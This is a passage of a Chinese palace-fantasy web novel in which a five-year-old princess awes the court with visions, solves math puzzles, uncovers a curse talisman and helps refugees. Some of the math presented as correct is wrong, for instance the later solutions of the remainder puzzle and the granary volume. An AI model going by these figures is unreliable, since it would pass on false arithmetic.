太后微微一笑,靖海侯府的这位,这是摆明了将话柄往旁人的手里塞啊。
“哦?哀家竟不知,嘉佑郡主竟如此进益。“
“好孩子,告诉哀家,你不在宁王府那几年,平日都做些什么?可曾读过书、**过字?”
慕容玉瑶见太后接口,脸上顿时有了光彩,轻笑了一声:“乡野之地,无非是捉虫捕雀,还能有何雅事?”
霍文萱更是毫不掩饰眼中的鄙夷和嘲讽。
长公主看了她一眼,眉头又皱了起来。
程如安一时语塞,想替女儿回话,但团团进王府之前的事情,她也确实一无所知,不禁暗自后悔,若早些问个清楚,此时便不会让女儿独自面对了。
团团咽下嘴里的一口糕点,抬起小脑袋,认认真真地答道:“有很多事做呀!跟道长爷爷一起玩,帮花婆婆喂她的大黄狗,还有看蚂蚁搬家,下雨天的时候,屋檐下的水泡泡最好看啦!”
天真烂漫的言语,勾勒出一幅充满生趣的田园景象,听得众人都情不自禁地露出了微笑。
太后眼底闪过一丝不耐:“哦?只是玩耍?养大你的那些长辈们呢,难道不曾教你些规矩道理吗?”
“规矩道理?”团团跟着念叨了一遍,向太后看去,“太后娘娘,什么是规矩道理啊?”
太后唇边闪过一丝嘲讽:“规矩道理啊……”
她话还未说完,团团小脑袋歪了歪,面露疑惑,抬手一指她的身后。
一双大眼睛瞪得大大的,一动不动:“太后娘娘,那个穿着红衣裳的漂亮姨姨,为什么总是站在你后面啊?”
“是她住的地方太黑太破了吗?她好像很想跟你说话呢。”
“哐当——!”
太后手中的酒杯脱手,砸在了面前的桌案上,酒液溅湿了衣襟。
她猛地回头,没有人!
马上又转回来看向手还举在空中的团团,脸色刹那间变得惨白,嘴唇都不受控制地颤抖起来,眼神中充满了掩饰不住的惊骇。
第75章 叔叔就是叔叔啊
所有人都目睹了她的失态,全都惊得目瞪口呆。
宫中的,身穿红衣的女子?莫非是……先皇后?
满殿皆知,先皇后早逝,生前便因喜穿红衣而闻名。
只因先帝曾赞她“红衣灼灼,艳冠群芳”,甚至还为此作诗一首:
朱颜灼灼胜春华,
步曳湘云掩碧纱。
非是人间俗颜色,
而是神女落凡家。
自此先皇后便更偏爱红衣,几乎件件都是,宫中嫔妃们为表尊敬,不与皇后衣着相撞,都选择了其他颜色的衣裙,包括,现在的太后。
可是,先皇后早已仙逝,哪里还能现身?即便现身,又为何要跟着太后?
所有人的目光都不禁看向太后的身后,哪里有人啊?
程如安早已将团团紧紧抱在怀里,心中只有一个念头,无论如何,自己都要护住她!
太后死死攥着扶手,指甲几乎要掐进木头里。
她努力压制着满心翻滚的情绪,面色青白不定,想开口说几句撑场面的话,却半个字都说不出来。
长公主眉头紧锁,一脸担忧地看着她:“母后?是否凤体有恙?可要宣太医?”
程公公不知何时走了进来:“陛下口谕,传嘉佑郡主至紫宸殿一见。”
太后的脸色又是一变,皇帝为何单独宣召这个丫头?难道……
陛下召见!程如安心里一松,撒开了手,团团小跑着来到程公公面前:“翁翁,皇伯父在哪里啊?“
程公公满脸堆笑地冲着太后和长公主行了个礼:“老奴这便带着郡主去了。“
团团拉起他的手,回过头跟母亲打了个招呼:“娘亲!我去找皇伯父玩啦!“
程如安点了下头:“快去吧,乖一些,别给陛下捣乱啊。“
“知道啦!“团团应了一声,拉起程公公的手走出了大殿。
太后直直地盯着她小小的背影消失,这才回过神来,看了一眼长公主:“哀家确是有些乏了,去歇息片刻。诸位卿家继续便是。安和,这里便交由你了。”
长公主和众人一起站起:“恭送母后/太后娘娘!”
慕容玉瑶和霍文萱彼此对视了一眼,完全没明白究竟是怎么回事,太后怎么突然便离席了。
程如安望着太后退出了大殿,这才轻轻呼出了一口气,一转头,正迎上孟欣和陆清嘉安慰的目光,轻轻点了下头。
程公公小心翼翼地领着团团来到了紫宸殿的偏殿中。
这位小郡主哦,陛下还真放在了心上,知道文萱小姐和玉瑶小姐定是要跟她为难,便命自己将她带了出来。
来到大殿门口,程公公回禀了一声:“陛下,嘉佑郡主到。”
“爹爹!”团团一眼看到了自家爹爹,撒开小腿便扑了过去,“你也来啦!爹爹!”
萧元珩笑眯眯地搂住闺女:“来,团团,先给陛下请安。”
“哦。”团团刚想行礼,萧杰昀摆了摆手:“罢了,不必拘礼,每次朕见她行礼,都担心她摔着自己。”
萧元珩闻言不禁一笑:“是啊,团团年纪太小了。”
团团乖巧地回了一句:“谢谢皇伯父!”说完便爬到了爹爹的怀里,舒舒服服地坐下了。
“咦,爹爹你在看什么?”团团见萧元珩手中拿着一张纸,扒着他的大手,便看了过去。
只见那纸上画着一座粮仓的草图,一旁标注着“方十丈、圆八丈、高五丈”等尺寸,下面密密麻麻列着筹算符号,最后却是一个墨点,显是卡住了。
旁边一位身着儒袍、精神矍铄的老者抚着胸前长长的胡须:“王爷,此‘天圆地方’仓,需依《九章》之法,分而算之。”
“方者用‘刍童术’,圆者用‘圆田术’,再合其数。然这方圆衔接之处,耗粟几何,着实需精密计算,不易啊。”
讲话的,正是当今国子监祭酒崔代盛。
团团歪着小脑袋,盯着图纸上的线条,忽然伸出小手指,在那方圆交接处点了一下
“爹爹,这里好像一个大方盒子,被挖掉了四个弯弯的角,又盖了一个圆圆的盖子!”
她的话稚气十足,却令崔代盛
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微微一怔。
团团的小手指继续在纸上指指点点,小嘴巴叭叭儿不停:
“方十丈,高五丈,便是五百立方丈,这是大方盒子里的。”
“圆八丈,径四丈,是圆盖子里的,四丈为径,一周便是十二丈,乘十二,得四十八,再以高五丈乘之……二百四十立方丈?”
只见她小眉头使劲皱起,好像察觉到哪里不对,摇了摇头:
“不对不对,‘周三径一’不一定准哦,圆盖子里的该比方盖子少一些才对,这样的话,应该是一百六十立方丈?”
“至于那四个弯弯角角挖掉的……”团团的小手在空中比画着,“每一个差不多是圆盖子的少一点点……四个加起来,大概就是……一个圆盖子那么多?”
她抬起头,得出了一个让所有人目瞪口呆的结论:“所以,这个粮仓里的东西啊,差不多就是大方盒子减去一个圆盖子三百四十立方丈!”
崔代盛在她讲个不停的时候,便一直紧紧地盯着她,努力跟着她所说的过程,待她将结果报出来的时候,崔代盛看向她的眼神已是精光大盛,像是恨不得直接将她抱走一样。
“嘶——”四周一片惊叹之声,萧杰昀一脸饶有兴味的表情看着他和团团。
连萧元珩都愣住了,团团何时懂得这些?我都不懂!
安儿教给她的?不可能,安儿哪里懂这些!
崔代盛捻着自己的胡须,还在回味着团团的计算过程,化繁为简、直击核心,妙哇!
尤其是她刚才说的,“周三径一不一定准”,更是瞬间击中了自己的心神!这可是一直以来,算学界的难题!
“小郡主,请问你…师从何人?”崔代盛声音发颤。
团团眨巴着大眼睛:“是叔叔教的呀,他说算学要会‘偷懒’,找看得见的来计算才简单,要不,头都会想破的。”
“你叔叔?他叫什么名字?”崔代盛急切地问道。
团团一脸奇怪:“叔叔就是叔叔啦,我怎么知道他叫什么名字!他又没有告诉过我。“
第76章 杂家还没活够呢
崔代盛强压下内心的激荡,决定再试一题,他从袖中抽出一张纸,恭恭敬敬,双手捧到了团团的面前。
“小郡主聪慧异常!老夫还有一题请教:今有物不知其数,三三数之剩二,五五数之剩三,七七数之剩二。问物几何?”
他心想,此题需用“大衍求一术”方能计算,极为复杂,不知这小郡主是否能像方才一样,寻到什么简易的法子?
团团听了,伸手将纸接过来,自己却没看,直接递给了爹爹,萧元珩一脸懵的接了过来。
团团低着头看着的绣花鞋尖,小脚一踢一踢,仿佛是在玩游戏一般,张嘴便开始念叨:
“三三数剩二,七七数剩二,那它定是‘三七之倍数’加二。三七二十一,加二便是二十三。”
她抬起头,眼睛亮晶晶:“二十三……正好剩三!对不对呀,最小是二十三,后面就是二十三加上所有‘三五七之公数’,一百五十八、二百九十三……好多好多呢!”
秒解!崔代盛如遭雷击,彻底僵在原地,他毕生钻研算学,从未见过如此巧思!
萧元珩看了看手里的纸,又看了看闺女,再看了看崔代盛:“小女算的……对?”
然后,他便惊愕地看到,这位国子监祭酒、文坛巨擘,竟对着自家五岁的幼崽,一揖到地,声音都激动地颤抖:
“达者为师,学无长幼!“
“小郡主之言,如拨云见日,照亮老夫毕生迷途!崔代盛愚钝,恳请小郡主收老朽为弟子,传我算学真谛!“
团团看着他,用手指了指自己:“我?“
萧元珩也无法置信:“崔祭酒当真?要拜小女为师?“
崔代盛异常肯定地点了点头:“恳请小郡主应允!“
团团抬头看着萧元珩:“爹爹?可以吗?“
萧元珩沉吟片刻:“崔祭酒若真要与小女切磋,大可随时来我府中,与小女探讨,这拜师之名……实在不必。“
崔代盛却像是已下定了决心一般,直视着他:“王爷此言差矣!学无先后,达者为师!”
“老夫钻研算学数十载,自认于此道有几分心得,然今日郡主寥寥数语,便解了我积年之惑,足以为我师!”
他语气恳切:“王爷,崔某此番并非一时冲动。传授学问者,便为师!郡主虽年幼,然在算学一道上的造诣,已远超于我。”
“崔某拜师,拜的是才学,与年岁何干?还请王爷成全!”
这一番话掷地有声,令萧元珩肃然起敬:“崔祭酒不愧是国子监祭酒!如此一心痴迷学问,不拘世俗礼法,令本王敬佩。”
敬佩归敬佩,但对于堂堂祭酒拜自己女儿为师的事情,萧元珩实在有些不知如何是好。
无奈之下,他的目光下意识地投向了那位坐在桌案之后,嘴角噙着一丝玩味笑容的皇帝萧杰昀。
萧杰昀看得津津有味,觉得这一出戏比太极殿的歌舞还有趣。
看到萧元珩那向自己求助的无奈眼神,他微微一笑。
“崔卿乃国之柱石,治学严谨,如今却对一小儿行此大礼,口称师父,倒真是……旷古奇闻。”
他顿了顿,目光停在团团的脸上:“不过,崔卿所言也不无道理。学问之道,确乎不应为年岁所困。既然崔卿心意已决,皇叔也不必过于拘泥了。”
皇帝都发话了,萧元珩也只得答应:“既然陛下都如此说了,崔祭酒又这般坚持,罢了。团团,你便答应了吧。”
团团看了看他,徒弟?也喊我盟主,听我的话吗?
“爹爹,那他以后,也会听我的吗?“
萧元珩一愣,无法想象崔祭酒这比自己年纪都大的学者,凡事都听她的会是一番什么情形。
崔代盛却答应得痛快:“自然!只愿小师傅能将毕生所学,倾囊相授!”脸上焕发出狂喜的光彩,恭恭敬敬地又行了一礼。
“小师傅?我喜欢!爹爹,我是小师傅了呢!“团团拍着小手,乐不可支。
萧元珩轻抚她的发顶,无奈地摇了摇头。
“皇叔,朕听闻你已经去过京郊大营了,那里的操练是否尚可?“萧杰昀问道。
萧元珩马上回道:“陛下,臣以为……“
团团听他们讲的自己都听不懂,在父亲的腿上渐渐坐不住了,溜到了地上,在偏殿里到处走来走去。
众人都在谈论国事,便也都没去管她。
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团团一会儿爬高,一会儿钻低,唯有程公公的目光始终追随着她,生怕她磕到碰到。
“翁翁!这里!“团团溜达到皇帝身后的屏风前,抬手一指屏风的一角。
程公公赶忙悄悄走了过去,低声道:“小郡主,轻声些啊,陛下和王爷他们在谈正事呢。这里?“
他顺着团团的手指方向看去,那屏风非常精美,上面绣的是金龙出云的图案。
“郡主是喜欢这条金龙吗?“
团团摇了摇头,手没有放下来:“这个,坏东西!“
“啊?!“程公公的心都快跳出来了,”哎呦!小郡主,杂家可还没活够呢!可不能胡说啊!那是金龙!“
“龙就是陛下啊!郡主!走走走,杂家带你出去玩一会儿。”程公公心惊肉跳地牵起她的手就想往外面走。
团团不高兴了:“翁翁,你怎么不听我的话呢?”甩开他的手,就跑向萧元珩,大声喊起来:“爹爹!这里!有个坏东西!”
几个人停止了交谈,萧元珩扶住冲到面前的女儿:“怎么了团团?哪里?什么坏东西?”
程公公一脸生无可恋,完啦!小郡主这下又要惹怒龙颜了。
团团拉起爹爹的手,把他拽到了屏风的面前,依旧抬手指向屏风:“这里!爹爹,坏东西就在这里!”
萧杰昀转过身,低头向她手指的方向看去,正是金龙的尾巴。
他皱了皱眉,却并未动怒,这孩子是又看到了什么吗?
萧元珩是半点不怀疑女儿的话的:“团团,你看到了什么?“
崔代盛也走了过来,看了一眼:“小师傅,这里什么都没有啊。“
团团一脸奇怪的表情:“你们都看不到吗?“
所有人都摇了摇头。
团团的小脸皱成了一团,抬起头看到了桌案上的茶盏。
噔噔噔地跑了过去,踮起脚尖,伸手就把茶盏拿了下来,里面还有半盏萧杰昀没有喝完的茶。
她抬手一泼,将茶水全都泼到了金龙的尾巴上,屏风瞬间湿了一块:“现在呢?能看见了吧?“
几个人瞪大了眼睛看了半晌,同时摇头:“没有!还是什么都没有。”
第77章 这回你们看到了吧
“啊?”团团撅起了嘴,有些着急:“为什么还是看不到呢……”
萧元珩赶紧俯身将她搂在怀里:“确实什么也没有啊,团团,告诉爹爹,你看到了什么?”
团团抿着小嘴巴,一声不吭。
众人面面相觑,程公公暗自着急,小郡主这是怎么了?
突然,她眼睛一亮,低头解开腰间绣囊,翻找出一根小小的,焦黑的木棍。
趴在屏风上便开始用力刮刚才被茶水泼湿了的地方。
程公公大惊,扑过去想阻拦她:“使不得!小郡主!这屏风价值连城,湿了还能晾干,刮了可……”
“让她刮。”萧杰昀拦住了他,“看看她能刮出什么来。”
程公公只得退后,看了萧元珩一眼,眼神很明显:王爷,您不管管吗?
萧元珩轻轻摇了摇头,坚信闺女这样做一定有她的道理。
程公公叹了口气,心疼地看着眼前的小娃娃将精美的屏风刮得乌黑一片。
那小木棍焦黑粗糙,在团团白嫩的小手里显得格外突兀。
她全然不顾程公公心疼得几乎抽搐的目光,整个人趴在屏风上,用那根小焦木棍,对着那片水痕未干之处,一下、一下,认真地刮擦。
“滋啦……滋啦……”
细微却刺耳的声音在落针可闻的偏殿内回荡。
突然!刮擦的声音变了!“嘶啦”一声。
“呀!出来了!让你藏!”团团欢呼了一声,刮得更起劲了。
很快,被刮掉的部分显现出了与原先的图案截然不同的纹路!
随着她刮出来的面积越来越大,一道鲜红如血,朱砂所绘的复杂符箓彻底暴露出来。
符文扭曲诡异,透着难以言喻的阴邪之气,与这庄重华贵的帝王居所格格不入!
那鲜艳的红色浓烈似血,仿佛刚刚绘就,甚至给人一种它在微微流动的错觉!
团团将小木棍收回绣囊,掸了掸两只小手:“这回看见了吧!“
萧杰昀顿时恍然大悟,这些日子,自己为何一坐下批阅奏章,便头脑昏沉,显然便是受了此物的影响。
“这……这是何物?!”萧元珩脸色骤变,这绝非善物!
程公公本已目瞪口呆,此时被萧元珩一声吓醒,扑通一声跪倒在地,浑身发抖:“老奴有罪!老奴有罪!“
作为御前总管的他,竟然让这等邪物日日伴在皇帝的身侧!
萧杰昀的脸色阴沉得像是下一刻便要勃然大怒。
他缓缓站起,走到团团的身旁,死死盯着那符箓,这等阴毒的东西,竟堂而皇之的就藏在他日常起居的殿宇!
“好……好得很!”皇帝的声音冰寒刺骨,“竟将这等魑魅魍魉的手段,使到朕的紫宸殿来了!”
萧元珩蹲下身子,轻轻搂住女儿:“团团,你认识这个吗?“
团团点了点头,抬头看向皇帝:“皇伯父,这个东西很坏很坏,不停地偷走你的气运!“
又抬手一指他平日用来批阅奏章的龙案:“和它的气运!“
童言无忌,却如惊雷炸响在众人耳边!
偷“你”的运,是帝王自身的龙气鸿运!
偷“它”的运,是整个国家的江山气运!
众人瞬间都彻底明白了这邪符的恶毒用途。
这已非简单的巫蛊诅咒,而是颠覆窃国之举!
所有人都看向了皇帝,只见滔天的怒意在他眼中翻涌滚动。
“我的手好累哦!爹爹!“团团举起小手伸给父亲。
萧元珩心疼地给她轻轻揉搓:“好孩子,爹爹给你揉揉就不累了啊。“
萧杰昀闭上双眼,深吸一口气,再睁开时,眼底已是一片近乎冷酷的平静。
越是震怒,他反而越是冷静。
他扫了一眼那符箓,“程谨言。”皇帝的声音深沉平稳。
“奴…奴才在!”程公公几乎是爬着上前。
“传令玄甲卫,将这里,给朕守好了,任何人不得靠近,不得触碰。”
“去国师府,将国师请来。“
“是!“程公公爬起来,急忙出去安排。
萧杰昀的目光落在团团天真无邪的小脸蛋上,眼神复杂无比。
“宫宴想必已近尾声。程谨言,你亲自送小郡主回王妃处,就在一旁伺候着,看顾好她。”
“是!陛下!”
皇帝又看向萧元珩,语气凝重:“皇叔,你留下。”
萧元珩神色一凛,立刻抱拳:“臣遵旨!”
程公公牵着团团的手,将她送回了太极殿。
团团看到程如安,立即跑了过去:“娘亲!“
程如安正心中焦灼,见女儿回来,立刻把她揽入怀中:“团团!娘亲正想去找你
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,咱们该回府了。”
程公公先是给长公主和已经回到宫宴上的太后行礼,然后冲着程如安微微躬身,脸上带着恰到好处的笑容。
“王妃娘娘放心,陛下极喜欢小郡主,方才留她多说了会儿话。陛下吩咐了,让奴才就在这儿伺候小郡主。”
说罢,他低头垂手地站在了程如安和团团的桌案之后,恭敬之态令所有人侧目。
那可是程谨言程公公!先帝留给皇帝的御前总管太监!
竟像个普通内侍一样伺候嘉佑郡主?这是何等的恩宠!
程如安扶着团团坐好,给她拿了块点心,目不斜视地看着女儿,心中惴惴不安。
长公主面露惊讶,太后脸上的表情则是阴沉难测。
慕容玉瑶暗暗咬牙,霍文萱眼中冒火,韩雪苓和周语薇捏紧了手里的帕子,几人心底的不甘和嫉妒几乎就要溢出来了。
太后看了她们几人一眼,清了清嗓子,换了副表情,笑容和煦地道:“宁王妃,方才哀家提的,让教养嬷嬷去王府教导嘉佑郡主礼仪规矩一事,你觉得如何?”
“哀家宫里的几位老嬷嬷,都是极老成持重的,定能将郡主教导得言行有度,知书达理。”
程如安心下一沉,正想婉言回绝。
团团抬起小脑袋,好奇地问道:“学规矩?为什么要学规矩呀?”
声音清脆稚嫩,在一片丝竹声中显得格外清晰。
韩雪苓立刻接话:“郡主没有长于王府,不知道这京城里的公子贵女们,哪个不是自幼便学习礼仪规矩、琴棋书画?”
“就像郡主的哥哥们,又有哪个不是日日苦读,只盼着有朝一日能得祭酒大人青眼,将来有资格入国子监进学,那才真是光耀门楣呢。”
她看着程如安,满脸笑容:“王妃娘娘,太后娘娘也是一片好意啊。“
“听闻郡主回京后尚未请教养嬷嬷,这才钦赐宫中的老嬷嬷给娘娘,这是她老人家对郡主的一片爱护之心,您说,是不是啊?”
众人纷纷点头附和,觉得她说得在理。
程如安脸上的微笑僵硬着,却硬是不点头应允。
太后此举显然别有深意,怕是意图对女儿不利,自己无论如何也不能答应。
团团听到了祭酒,歪起小脑袋,看向韩雪苓:“国子监?祭酒?”
第78章 又对上了
韩雪苓嘴角闪过一丝鄙夷:“郡主竟不知么?国子监乃我朝最高学府,崔代盛崔祭酒老先生更是学识渊博,为天下读书人所仰慕……”
话未说完,团团眼睛一亮:“崔祭酒?”
那不是我新收的徒弟吗?“我认识他捏!他是我的徒弟哦!”
“噗——”不知是谁一口酒水喷了出来。
大殿内瞬间一片哗然。
韩雪苓脸上的笑容彻底僵住,像是听到了这世上最荒谬的笑话,尖声道:“嘉佑郡主!这话可不能胡说!崔大人乃是当世大儒,国子监祭酒!你才几岁?怎可如此污他清誉!”
“就是,小小年纪,怎可如此信口开河!”立刻有人附和。
“即便圣上宠信,也断容不下郡主如此胡说!’
“崔大人何等学识,怎会拜这几岁的娃娃为师?“
“绝不可能!”
莫说旁人,连程如安都不敢相信,低声道:“团团,不许胡说!”
所有人都觉得这孩子就是在说大话,简直不知所谓到了极点。
质疑声和嘲笑声响彻大殿,太后唇边的讥笑众人都看得清清楚楚,说得更起劲了,尤其是慕容玉瑶和霍文萱,周语薇三人。
程公公心中低叹,跨步上前,脸上没有任何表情,声音平稳尖细:
“启禀太后娘娘,长公主殿下、各位贵人。”
“方才在紫宸殿偏殿,国子监祭酒崔代盛崔大人,已亲自,正式,拜小郡主为师。此事,陛下与宁王俱是见证。”
“小郡主所言,‘崔大人是她的徒弟’,句句属实,并非虚言。”
……
喧哗热闹的大殿中骤然一片寂静,连在一旁弹奏的乐师们都感到了气氛的不对,停下了手中的丝竹。
所有人你看看我,我看看她,一时间都不知该作何反应。
秦婉珍像是被瞬间掐住了脖子,脸上的嘲笑、质疑、得意全都凝固了,变得滑稽异常。
太后震惊不已,捏着酒杯的手猛地收紧,攥得指节泛白。
慕容玉瑶和霍文萱的表情则像是刚刚吞了一整个鸡蛋,嘴张的都忘记了合上。
程如安也懵了,看了看女儿,又看了看一脸淡然的程公公,怀疑自己是不是在做梦。
崔代盛?那个只认学问,连皇室的面子都敢驳回的老古板?真的拜了她家才五岁的团团为师?!
程公公退回原位,眼观鼻,鼻观心,站得端端正正。
陆清嘉偷偷向团团竖起了大拇指,我的盟主,真是太厉害了!
程如安松了口气。
团团既然已经是国子监祭酒的老师,太后自然不会再提教养嬷嬷的事了,否则,岂不是告诉全天下,崔祭酒的老师没规矩?
那当真是与全天下的读书人作对了,肯定是万万不行的。
如此一来,总算是将太后刚才的提议,给糊弄过去了。
程如安稳住了心神,有些想笑,这些人刚刚都在用团团不知道国子监来嘲讽她,没想到,国子监祭酒是她的徒弟。
这孩子!真是太出人意料了。
她温柔地看着女儿,又给她面前的小碟子里放了一块点心。
团团开开心心地吃着,完全没意识到自己又做了什么了不起的大事。
她心满意足的舔了舔嘴角的糖渣,皇宫的点心好好吃哦!
日子过得很快,转眼进入了盛夏。
这一日,天气非常闷热,萧宁珣带着团团看望了京郊万灵苑里的雪豹。
回府的马车上,突然听到人声鼎沸,夹杂着嘈杂的哭喊声和呵斥声,还有马儿不耐的嘶鸣。
“怎么回事?”萧宁珣掀开车帘一角,团团也钻了过来,两小只一起扒着窗子向外张望。
只见前方路上,几十个衣衫褴褛、面黄肌瘦的流民正相互搀扶着蹒跚而行。
一辆装饰华丽的马车被他们挡住了去路。
车辕上站着个锦衣少年,满脸不耐地挥舞着马鞭,正是他们的老熟人,韦秉安。
“滚开!一群臭要饭的!挡了小爷的路,脏了小爷的眼!”韦秉安一脸不耐。
流民们吓得瑟瑟发抖,慌忙向路边四处躲避。
一个瘦骨嶙峋的老人腿脚不便,踉跄了一下,险些摔倒,手中半块干瘪的饼子掉在了地上,沾满了尘土。
老人惊呼一声,竟不顾一切地扑到地上,颤抖着手想去捡那沾了泥的饼子。
“老不死的!还敢
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挡小爷的道!”韦秉安不但没有丝毫怜悯,反而像是找到了乐子,扬起手中长鞭“啪”的一声就朝老人枯瘦的脊背抽去!
“住手!”两道声音同时响起,萧宁珣和团团异口同声地喝止了他。
团团小脸气得鼓鼓的,一双大眼瞪着韦秉安:“坏蛋!不许**!”
韦秉安手一停,闻声转头,看到是他俩,新仇旧恨一起涌上了心头,自己好不容易才从京兆府中出来,就又遇到了他们!
他冷笑一声:“我当是谁,原来是你们。怎么,这老乞丐是你家亲戚?小爷打便打了,你们能奈我何?”
萧宁珣将妹妹护在身后,面色沉静地下了马车。
“韦秉安,王法昭昭,岂容你当街行凶?他们虽是流民,亦是陛下子民,流离失所已是不幸,你不同情相助也就罢了,怎么还要伤人?”
他声音清朗,条理分明,瞬间便吸引了周围流民和远处一些行人的目光。
韦秉安被他说得一愣,随即恼羞成怒:“萧宁珣!你少给小爷扣帽子!打几个贱民怎么了?他们挡了我的路,惊了我的马,就是该死!”
“你的车马等一刻有何要紧?没半点损伤,倒是这位老伯,若被你这一鞭抽实了,半条命都没了!孰轻孰重?”萧宁珣寸步不让。
团团跳下马车,跑到那老人身边,拿出自己马车上的糕点递了过去:“老爷爷,给你吃。”
她抬头看向那群眼中满是惶恐的流民,小眉头紧紧皱了起来。
一阵马蹄声传来,京兆府的差役们簇拥着府尹李靖匆匆赶到。
显然是有路人去报了官。
李靖看着这混乱的场面,尤其是看到团团兄妹和韦家的小子又对上了,顿时觉得一个头两个大。
他先喝令差役驱散围观人群,安抚流民,然后才上前苦着脸道:“几位小祖宗,这又是怎么了?”
上一次就是宁王府的侍卫们将这韦家的小子送到的京兆府,这才从自己这里回家没几天,怎么又对上了?
韦秉安恶人先告状,指着流民大声道:“李大人,这群刁民不但挡着道,惊了马,还意图冲撞本少爷!你快把他们统统抓起来!”
第79章 大哥哥去要饭了
“大人!我们冤枉啊!”那些流民们听了,急忙下跪喊冤。
李靖心中暗骂,韦家这个小纨绔!上次吃的教训还没够!
若不是你爹想方设法地给你求了情,你现在还在我京兆府大牢里蹲着呢!
面上却不得不周旋,吩咐手下:“赶紧的,让他们往旁边去去!给韦公子把路让出来!”
然后对韦秉安道:“三公子,这日头这么晒,您还是赶紧回府吧,别闹了。”
韦秉安看到路已经清出来了,得意地冲团团兄妹笑了一声,钻回了马车,扬长而去。
李靖叹了口气:“三公子,小郡主,你们也快些回府吧,天干地旱,流民众多,你们不要在此地久留,出了事就不好了。“
萧宁珣望着流民们,眉头紧皱:“李大人,这么多流民,京兆府不管吗?“
李靖一脸愁容:“非是本官不管,只是这流民日益增多,无法全部安置。下官也实在是巧妇难为无米之炊啊!”
团团仰起小脸看着他:“他们以前是做什么的呀?”
李靖一愣,答道:“回郡主,多是遭了灾的庄稼人,都是老实本分的农户。”
“庄稼人?种地的?”团团眨了眨眼睛,“那为什么不给他们钱钱,让他们在这里种地呢?有地种,就有饭吃啦!”
李靖闻言眼前一亮,随即又摇头苦笑:“京城周边多是山地,并非平原,无法垦植啊。”
“山地?”团团歪着头,似乎很不理解,“山地也可以种田呀!”
“啊?这……山地如何种田?”李靖脸上一片茫然。
团团伸出小手,在空中一顿比画:“就是,把山变成一层一层的呀!像道长爷爷的观里那样!“
“每一层都是平平的,就可以种东西啦!水水浇上去也不会流走哦!”
她一派童言童语,李靖听得云里雾里:“什么……一层一层?”
团团见说不明白,瘪起了小嘴巴:“你怎么听不懂呢……”
她左看右看,忽然跑到了路边,捡起一根小树枝,蹲在地上,就着地面的浮土就画了起来。
李靖和萧宁珣赶忙跟了过去,几个胆大的流民也悄悄凑了上来,伸着脖子看。
只见她先勾了两笔,画了一个突起:“这就是山啦!”
然后在山坡上的斜面上,画出了一道道平行的横线,将山体分成了一层一层的“台阶”:“这就是,一层一层的啊!”
最后在每一层上点了许多小点:“这不就能种地了嘛!”
她丢掉树枝,指着地上的画:“看!就是这样!”
李靖仔细地看着那简陋的图画,浑身猛地一震!眼睛越瞪越大,呼吸都急促起来!
“层叠而上!这,这……”他猛地抬头,看向团团的目光充满了难以置信的狂喜,“妙啊!妙啊!此法……此法或许当真可行!”
“倘若能成,那可是千秋之功啊!下官即刻草拟奏章,上报朝廷,请工部派人勘测推行!”
“若此法能够推行,全国的山地皆可成为良田,过不了多久,粮仓将满,再不惧饥荒!”
周围的流民虽然听不懂全部,但见眼前这位大官如此激动,又听到粮仓将满,不惧饥荒,眼中都燃起了希望。
纷纷跪下磕头:“谢谢青天大老爷!谢谢小仙子!”
李靖兴奋地上马而去:“三公子,小郡主,下官告辞!”
萧宁珣看着团团,一把将她抱了起来:“团团,你是怎么想到这个法子的?简直是太好了!能救活很多很多吃不上饭的老百姓!”
团团开心地笑了。
却听得身边传来哀叹:“可是,就算现在开荒,等到有收成,还得熬好几个月啊!眼下这肚皮可怎么好啊!”
“是啊!我家娃都一天没吃过东西了!”
“我家的也是!”
是啊,希望归希望,现实的饥饿依旧迫在眉睫。
团团看着这些人饥饿的脸,眼珠子一转:抬手一指:“三哥哥!去那儿!”
萧宁珣顺着她指的方向看去,前面数
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步之外有几个非常壮实地汉子,一直在那里帮着其他人,扶老人,帮孩子。
他不明所以地抱着妹妹走了过去。
团团看了看那几个人:“你们是这些人的头头吗?”
一个汉子冲他抱拳:“我们都是一个村子里出来的,家中大旱,庄稼都死光了,我们没有办法,结伴一起走到了这里。”
团团看着他,压低了声音,一脸神秘兮兮的小表情:“你是好人!你自己饿肚子,还帮别人!“
“我告诉你一个地方,那里有很多很多的粮食哦!”
那汉子闻言一怔,萧宁珣也愣住了。
“就是刚才那个很坏的、拿鞭子打你们的坏蛋,他家里藏起来的!”
“就在城西外面,那个上面有红色石头的山缝缝里面!你们快去拿呀!拿了就不会饿肚子了!”
萧宁珣彻底呆住了,妹妹怎么知道韦家的粮仓在哪里?
那汉子闻言,瞳孔骤缩,脸上闪过震惊、恐惧,随即这些全部被强烈的求生欲和愤恨所取代。
他看了看眼前粉雕玉琢、眼神清澈的娃娃,又看了看自己身后一群眼巴巴望着他、饿得皮包骨头的乡亲,拳头猛地攥紧。
团团说完,觉得自己做了一件大好事,拍拍小手,心满意足搂着萧宁珣的脖子:“三哥哥,咱们回家吧。”
“嗯。”萧宁珣已经习惯妹妹身上各种不可思议的事了,没多问半个字,转身抱着她就往自家的马车上走。
心里也觉得妹妹做的没有错,让韦秉安那个臭小子那么欺负人!活该!
刚走出两步,就听到后面传来一个既虚弱又惊讶、甚至有点变调的声音:
“三弟?团团?是你们吗?”
萧宁珣和团团同时回头,只见流民队伍的末尾,一个浑身脏污、头发凌乱、几乎看不出原本的面容和衣着的年轻人,正瞪大了眼睛看着他们。
虽然形象大变,但那熟悉的轮廓和声音……
“大……大哥?!”萧宁珣脱口而出。
第80章 见识见识去
团团也吓了一大跳:“大哥哥?你去要饭啦?”
那“流民”跌跌撞撞地冲过来,激动得差点绊倒,一把抓住萧宁珣的胳膊,声音都带上了哭腔:“呜呜呜!三弟!团团!真的是你们!大哥我好惨啊……”
他虽然有过目不忘的本事,但这次出门行商,却被灾民潮冲散了车队,下人们全部不知所踪。
后来又遇到了**,身上的财物被洗劫一空,不得已只能混在流民堆里,一路忍饥挨饿,挣扎着走回了京城。
于是,回府的马车上,变成了三个人。
只是大哥身上的味道实在太过“醇厚”,熏得萧宁珣和团团不得不紧紧靠着另一边的车窗。
一进王府,团团就冲到程如安了怀里:“娘亲!我们捡到了大哥哥!”
“啊?“程如安见到大儿子这般模样,又是心疼又是好笑,赶忙让人带下去洗漱。
足足搓洗了七八遍,换了三桶水,萧宁远才终于恢复了本来的面目,穿上了干净衣裳,只是脸色因为连日的饥饿和劳累还有些苍白。
来到花厅,他刚想舒展一下筋骨,萧元珩走了进来。
“父……父亲。”
萧元珩上下打量他几眼,嗯了一声:“人没事就好。”
萧宁远这才松了口气,眼睛亮晶晶地看向正小口吃点心的团团,想靠近又有点不好意思:“妹妹,这次多亏了你和三弟……”
